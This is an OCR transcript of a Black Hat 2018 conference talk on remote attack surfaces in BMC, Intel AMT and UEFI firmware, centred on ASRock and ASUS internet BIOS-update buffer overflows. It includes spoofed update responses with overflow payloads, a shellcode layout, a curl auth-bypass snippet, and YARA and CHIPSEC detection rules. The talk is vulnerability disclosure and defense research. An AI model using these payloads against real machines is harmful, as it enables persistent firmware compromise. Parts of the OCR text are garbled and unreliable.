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BMC - Remote Attack surface
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@um BMC - Remote Attack surface ™\ blackhat

O\

* [Designed for Out of Band server manogement
e CommMon use coses

- KVM

- BI0S FLASH

- Etc.
* Licensing tiers
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“Nmap scan report for supermicro-x11ssm-bme.x.x.x (X.x.x.x)
Not shown: 65530 closed ports
PORT STATE SERVICE REASON  VERSION
80/tcp open http syn-ack ttl 64 ATEN/Supermicro IPMI web interfoce
443 /tcp open ssl/http syn-ock ttl 64 ATEN/Supermicra IPMI web interface
623/tcp open osf-rmcp syn-ock ttl 64 SuperMicro IPMI RMCP
5900/tcp open vnc  syn-ack ttl 64 VNC (protocol 3.8)
MAC Address: DC:C4:7A:40:60:97 (Super Micro Computer)

Nmap done: 11P address (1 host up) scanned in 1403.00 seconds
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o BMC/IPMI history

988 200 204 2013 204 2018

IPMI v1.0 spec IPMI v1.5 spec IPMI v2.0 Many BMC/IPMI SMC PSBlock HP iL04 auth
: spec vulnerabilities password file bypass and
published vulnerability RCE
Base version of IPMI Many enhancements to base New features including Serial ~ Dan Farmer and HD Moore Zachary Wikholm discovered that ~ Multiple vulns including
specificotion released - specification including IPMI over LAN, Enhanced found over 300k BMCs Supermicro BMCs have plaintext  trivial auth bypass: curl

over LAN and IPMI over Authentication, Firmware connected to the internet, 53k  password file which could be -H "Connection:
Serial/Modem Firewall, and VLAN support vulnerable to cipher-zero auth ~ retrieved remotely withoutauth, ~ AAAAAAAAAAAAAAAAA
: bypass 32k on internet AAAAAAAAAAAA"
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- Code looded from platform SPI
- Code runﬁng In dedicated CPU in chlpset
- Uses dedicated RAM & main RAM | ssbrennite BRI B¢
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Munugg_ubility Ports

16992 |nt3f(R) AMT HTTP

16993 Intel(R) AMT HTTPS

16994 Intel(R) AMT Redirection/TCP

16995 Intel(R) AMT Redirection/TLS

623 ASF Remote Management and Control Protocol (ASF-RMCP)

664 ASF Secure Remote Management and Control Protocol (ASF-RMCP)

5300 VNC (Virtual Network Computing) - remote control program
https:/ /software.intel.com/sites/manogeability/AMT Implementotion_ond Reference Guide
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2006 2007

AMT 1.0 AMT 2.5
First version of Intel AMT Wireless network
available in Core 2 Duo support odded here

vPro, included embedded
web server and fw update
copabilities ;

Intel ME/AMT history

2008

Over-the-internet
provisioning capabilities

111 I

Critical auth
bypass in AMT
v6 through vl

Embedi discovered that
you could login to AMT as

Remote KVM support
added here
admin with no possword
on all vPro systems since
2010
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Also 2017

Multiple vulns
in AMT v8
through v11

Positive Technologies
found more vulns in AMT
including multiple buffer
overflows allowing LPE
and RCE
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@um BIDS- Remote Attack surfoce
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- Code loaded from main platform SPI WLl
- Code running in main platform CPU .
- Uses main RAM i
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1398

EF11.02

First version of
Extensible Firmware
Interface standard
written hy Intel

BIOS- Remote Attack surfoce
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2002

EFI1.10

Intel released EFI1.10
standard and
contributed it to
Unified EFI Forum
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UEFI histary

07 0 s 208 2008

UEFI 2.1 UEFI 2.5 UEFI 2.6 Missing size
checks in
DHCP code

Cryptography, WiFi, Bluetooth, HTTP, TLS implementation Topher Timzen noticed
network and HTTP BOOT added bosed on that DHCP code used
authentication, and Ul functionality odded OpenSSL untrusted length from

infrastructure odded network for copy

without checks
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UEFI 2.4 Network Stack e RefotEESEeC
e |Implemented from
_._....;;: .................................. btk -_ S[:rut[:h
e o o [ - st

IP4Config ere

TCP4 neee
UDP4 e

s = IP6Config
IP4

UNDI / NIl



blgt,:k hat

UsA 2018

BI0S- Remote Attack surface

eclypsium
s

HP UEFI extended Network Stack : {-\ddltl[ln[ll features
HP UEFI Extended Network implemented by vendor

ISO / RAM Disk driver Stack

T — * Extensions on top of
HTTP(s) FTP(s) | UEFI standard
i | sl ©  Some features

HP value-add

componens eventually get pulled

Open Sourcefexisting

IP (v4/v6) . components mtﬂ UEFI St[lﬂd[lfd

MNP/SNP NIC Vendor
components

NIC HW Ethernet driver (UNDI) e e

)
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BI0S- Remote Attack surface

UEFI Bluetooth Stack Architecture
Bluetooth Stack

http:/ /www.uefi.org/sites/default/files/resources/T

20Lo_UEFI_Plugfest_AMI_Spring_2017_Final.pdf

bif&khat
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Bluetooth feature
created by AMI
Allows the use of BT
devices before
ExitBootService()
BluetoothSMM
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UEFI Network Stack

wern o AMI Wi-Fi Manager  AMI built their own WiFi

Scan/Connect/Disconnect  -.c.ooevee

stack with additional
features

AMI Wi-Fi Driver UEFI Wi-Fi Driver

s UEFI WIRELESS MAC
AMI Wi-Fi Protocol CONNECTION PROTOCOL 2
UEFI SUPPLIANT Protocol UEFI SUPPLIANT Protocol
Open System WEP

WPA2-PSK AES m

USB Wi-Fi Hardware USB Wi-Fi Hardware

http:/ /www.uefi.org/sites/default/files/resources/Tony%?20Lo_UEFI_Plugfest_AMI_Spring_2017_Final.pdf
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HTTP and PXE boot

O\

* Allows download of UEFI boot loader or
150 vio HTTP(S)

 Checks signature before execution to
allow Secure Boot
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@um BIDS- Remote Attack surfoce

w \ HP Intelligent Provisioning

* Builtinto HP servers

* Allows download of
firmware/drivers from internet

 Simple configuration and installation
of operating system
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SMTP from UEFI

T —

MERecM LUEF)

eclypsium
Wi

o Sends email from BIOS

’ —_— UEFT Tech Service X - ‘
' :
-_—

S — ~ e [Canmount NTFS partitions
Qv P = e Attach any file from HD to
Problem Description :C).’O: e m u i I

&% & Attach a file under 3MB to show us your issue

: ad I Please select one that best describes your issue. - 3 - - J | < EUUI[I he USE[I m[IIiCious'y

Ren
F % 5

Mon 05/26/2014. 04:47:26
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Remote Diagnostics Download and Execute

Main |Security |Advanced |UEFI Drivers

Remote HP PC Hardware Diagnostics

Diagnostics Logs Upload URL
= Custom Upload Address §)

= Username §)

= Password

Scheduled Execution [Enable

Frequency Weekly

- ‘ o~
R

Execute On Next Boot [Enable | &

HP PC Hardware Diagnostics will be downloaded and executed once on the next boot.
= Last Execution Result €
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Downloads UEFI
executable from
remote Server over
internet

Can download tool
from HP or custom URL
Optionally upload
results back to
customer-provided URL
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UEFI updates over Internet

eclypsium
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Internet Flash
Internet Flash searches for available UEF] firmware

o [Download updates from remote
cbrors e toet UEF) o our oemers ot 1oen SBIVET DVEF internet
them within UEFI setup without entering Windows® .
0s. e Multiple vendors have
implemented this on their own

e What could go wrong?
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\ UEFI updates over Internet

NSReck
B an & 0C Tweaker £ Advenced © W Monitor © Security @ Boot P

it e ASRock

= System Browser

© 571 * . e g — - implementutiun

Description

ASRock Internet Flash downloads and
Firpare vrsion 1.4 updates the latest UEFI firmware
version from our servers for you.
& Instant Flash Please setup network configuration
. Bon S O L before using Internet Flash.
EO Internet Flash - DHCP (Auto IP). Auto

ol Network Configuration

LEFI Update Ut1lity todete 1temts)

Update Cancel

Get details via OR code

-~

Sat 12/17/2016.12%29:47 !
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e UEFI updates over Internet
EZ Fl::d:;r;date 4 ASUS
?Iease choose a way to update your BIOS. EZ Flash 3 |mplementut|0n
N o Essentially the
-] @ sume functionality,
( < ’@ implemented
differently
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BI0S- Remote Attack surface
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yp UEFI updates over Internet

NS

o Can specify check frequency
e Can configure automatic
PI0S Updete Prterences download and installation

PCheck for Update on Next Reboot @

Security Advanced UEFI Drivers

BIOS Source
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ASRack’s response to our vulnerability report:

Provide firmware updates for all affected systems disabling this functionality
Basically all recent motherboards had this vulnerability

Affected models:
o Intel 1151 (Skylake, Kaby Loke, Coffee Lake): 159 unique models
o Intel 1150 (Hoswell, Haswell-WS, Broadwell): 109 unique models
o AMD AM4 (Excavator, Zen, Zen+) : 27 unique models
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N

ASUS's response to our vulnerability report:

-

Security <security@asus com=

Dear sender

This issue only exists in EZ Flash process for pre-0S. It should not be a
concern for PC products as the function (HTTP) is not activated, thank you.

Best regards,
ASUS Security | @ASUSTeK Computer Inc.
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and now it's time for something
completely different
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&yetum  Exploit Walkthrough™

GET http://www.asrock.com/support/Livelpdate.asp?Model=Z370%20Gaming-ITX/ac HTTP/1.1
Host: www.asrock.com
Connection: Keep-Alive
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GET http://www.asrock.com/support/LiveUpdate.asp?Model=2370%20Gaming-ITX/ac HTTP/1.1
Host: www.asrock.com
Connection: Keep-Alive

-

<?xml version="1.0" encoding="utf-8"7>
<LivelUpdate Model="Fatallty Z370 Gaming-ITX/ac">
<Download Country="US" URL="URL1">
<URL1>http://66.226.78.22</URL1>
<URL2>http://66.226.78.22</URL2>
<URL3>http://66.226.78.22</URL3>
<URL4>http://66.226.78.22</URL4>
</Download=>
<Bios Version="2.00" Date="12/5/2017" Type="Normal">
<Description=Download this malicious BIOS I made for you...</Description>
<File 0S="BI0OS" Size="12.73MB">/support/200.zip</File>
</Bios>
</Livelpdate>
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&ypsum  EXploit Walkthrough

GET http://www.asrock.com/support/LiveUpdate.asp?Model=2370%20Gaming-ITX/ac HTTP/1.1

Host: www.asrock.com
Connection: Keep-Alive

<?xml version="1.0" encoding="utf-8"7>
<LivelUpdate Model="Fatallty Z370 Gaming-ITX/ac"=>
<Download Country="US" URL="URL1">
{URLlphttp:ff@ﬁlzzﬁl?glzzx1LL;11111LL;11111LL;11111LL;11111;1;11111;1;11111;

L L L L L L L L L L L L L L O L L O L L L L L L T L T L L L L L L L L L L L L L L L L L

L L L L L O L L O L L L O L L O L L O L L L L N L T L L T L L N L L L L L L L L L L L L L

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</URL]>
<URL2>http://66.226.78.22</URL2>
<URL3>http://66.226.78.22</URL3>
<URL4>http://66.226.78.22</URL4>
</Download>
<Bios Version="2.00" Date="12/5/2017" Type="Normal">
<Description=Download this malicious BIOS I made for you...</Description>
<File 0S="BIOS" Size="12.73MB">/support/200.zip</File>
</Bios>
</Livelpdate>
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GET http://dlcdnet.asus.com/pub/ASUS/mb/idx/Z3/PRIME-Z370-P.idx HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate I
Host: dlcdnet.asus.com
Connection: Keep-Alive
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GET http:ffdlcdnet.asus.ccmfpubfﬁSUSfmbfidfoifPRIMEtZS?G-P.idx HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate I
Host: dlcdnet.asus.com
Connection: Keep-Alive
<product> PRIME-Z370-P
<version> 0612
<release-date> 3/9/2018
<path> \pubMNASUSA\mbALGALI15INPRIME Z370-P\PRIME-Z370-P-ASUS-0612.zip

I <~description>

1. Update CPU Microcode 0OxB4

2. Improve system capability and stability
<~description=>

=~version=

=~product>
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Shyosum — EXP 0
GET http:ffdlcdnet.asus.ccmfpubfﬁ%USfmbfidfoifPRIME?23?3-P.idx HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate I
Host: dlcdnet.asus.com
Connection: Keep-Alive
<product> PRIME-Z370-P
<version> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAARAAAAAAARAAAAAAAAAAAAAAALAA

AAAAAAAAAAAAARAAAAAAARAAAAAAARAAAAAAARAAAAAAARAAAARAARAALAAAAALAALAAAALAALAAAALAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAALAALAAAALAALAAAALAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALA
<release-date> 3/9/2018
<path= \pubM\ASUS\mb\LGA1151\PRIME_ Z370-P\PRIME-Z370-P-ASUS-0612.zip
<~description>

1. Update CPU Microcode 0x84

2. Improve system capability and stability
<~description=
<~yersion>

<~product>
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@“m Exploit Walkthrough

- Debugging System Firmware Exploits
o InteMwure Debug Interface

&

XDP (0ld) CCA (Newer) DbC (Current)
43000 6390 615
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Cd

Debugging System Firmware Exploits
o Intelﬁ'ystem Debugger

llstack

Location

=]

Debug

nsole View

nmands

00D0000005D35409F

Source

IS5

INIGATEG4

Not Pre... INTGATE&4

1t

INTGATEG4

eneral Protection INTGATE&4

ult

INTGATEG4
INTGATEG4

@ [0][default] IP=

Value

bl
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&yetm  Exploit Walkthrough

Debugging System Firmware Exploits
° Intelﬁﬁug Abstraction Layer

Intel DAL Python CLI

3Registering MasterFrame...

[Registered C:\Intel\DAL_1.9.9588.110\MasterFrame.HostApplication.exe Successfully.

Using Intel DAL 1.9.9588.100 Built 10/23/2017 against rev ID 544636 [1742]

Using Python 2.7.12 (64bit), .NET 2.0.50727.8933, Python.NET 2.0.18, pyreadline 2.0.1
Note: The 'coregroupsactive' control variable has been set to 'GPC’

TUsing SKL_KBP_OpenDCI_DbC_Only ReferenceSettings

[>>? itp.halt()
[SKL_Ce_Te]
[SKL_ce_T1]
[SKL_C1_Te]
[SKL_C1_T1]

Halt Command break at
HLT Instruction break
HLT Instruction break
HLT Instruction break

[>>> itp.cv.smmentrybreak.setValue("True")
[>>> itp.threads[@].port(©xB2,0x1)

>>> itp.go()

[>>? [SKL_Ce_Te]
[SKL_Ce_T1]
[SKL_C1_Te]
[SKL_C1_T1]

>>2?

>>>

SMM Entry
SMM Entry
SMM Entry
SMM Entry

break
break
break
break

at OxCE©O:0000000000008000
at OxCE80:0000000000008000
at oxCFoe:0000000000008000
at OxCF80:0000000000008000

0x38:0000000086E78817

at Ox38:00000000000571E5
at Ox38:00000000000571E5
at Ox38:00000000000571E5
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@m Exploit Walkthrough™

- UEFI post-exploitation environment
’s,
o ‘“Normal” shellcode won't work
« No operating system = no syscalls
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@m Exploit Walkthrough™

~ UEFI pug-expluitutinn environment
g Runnf“ﬁg as ring0
« NoASLR
o Nostack canaries
« No memory protection
o Executable stack
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@m Exploit Walkthrough™

~ UEFI pug-expluitutinn environment
. Conuse Boot Services UEF] functionality
« Need to know how UEFI works internally
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N

- UEFI post-exploitation environment G
”EFI pr&uls 7 PROTOCOL INTERFACE ﬁ
e Inter-component 00P mechanism ;5:2:2::3:::5:;
o Identified by GUID FUNCTION POINTER 3

e One application/driver registers protocol interface using GUID FUNCTION PDINTER N
o Another app/driver finds protocol interfoce using GUID and

calls functions in object & z

PRIVATE DATA
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@m Exploit Walkthrough™

UEFI pug-expluitutinn environment

Useful Boot Services functions
e LocateProtocol()
o Finds a protocol by GUID
e Loodimoge()
o Loads a UEFI image into memory
o Startimage()
o Transfers control to o londed image's entry point.
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dypsium Exploit Walkthrough

p ON THE STACK
.

NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP I EGGHUNTER SHELLCODE I RETURN ADDRESS

ON THE HEAP

8-BYTETAG I COPY & DECODE STUB I LOAD & START IMAGE SHELLCODE I ARBITRARY UEFI APPLICATION
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| ON THE STACK
-

NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP I EGGHUNTER SHELLCODE I RETURN ADDRESS

ON THE HEAP

8-BYTETAG I COPY & DECODE STUB I LOAD & START IMAGE SHELLCODE I ARBITRARY UEFI APPLICATION

COPIED FROM HEAP TO SAFE LOCATION

LOAD & START IMAGE SHELLCODE I ARBITRARY UEFI APPLICATION




W piSdk hat

UsA 2018

@m Mitigations

Potential UEFI security hardening
.

o Hardened paging configuration

« Stack canaries

« ASLR

« NX/DEP
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@?m Mitigations

[letectip_q the ASRock buffer overflow with YARA
-,

rule ASRockUpdateOverflow
{
strings:
Sliveupdate = "LiveUpdate"
Surln = /<URL[D-9]+2.47<\/URL[ 0-9]+?/

condition:
Sliveupdate and for any i in (1.#urln) : (‘urln[i] > 260)
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@?m Mitigations

[letectip_q the ASUS buffer overflow with YARA
-,

rule ASUSUpdateOverflow

{
strings:
Sprod = "<product>"
Sdesc = “<~description>"
Sver = /<version>.+?</
condition:

Sprod and Sdesc and for any i in (1..#ver): (ver[i] > 260)
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ypslum Oetection
- [letectip_g UEF1/BI0S modification with CHIPSEC
..

Extract BIOS SPI flash from platform and create whitelist from contents:

# chipsec_main -m tools.uefi.whitelist

Generate whitelist from contents of uefi.rom:

# chipsec_main -i -n -m tools.uefi.whitelist -a generate,efilist.json,uefi.rom
Check contents of uefi.rom against whitelist:

# chipsec_main -i -n -m tools.uefi.whitelist -a check,efilist.json,uefi.rom
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@m Conclusions

Systé'ﬁyﬂrmwure Is complex and highly privileged

BI0S is hard to update, so done rarely

Network functionality is being added in new and exciting places

New features to make updates easier are also adding new exploit vectors
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Juestions?



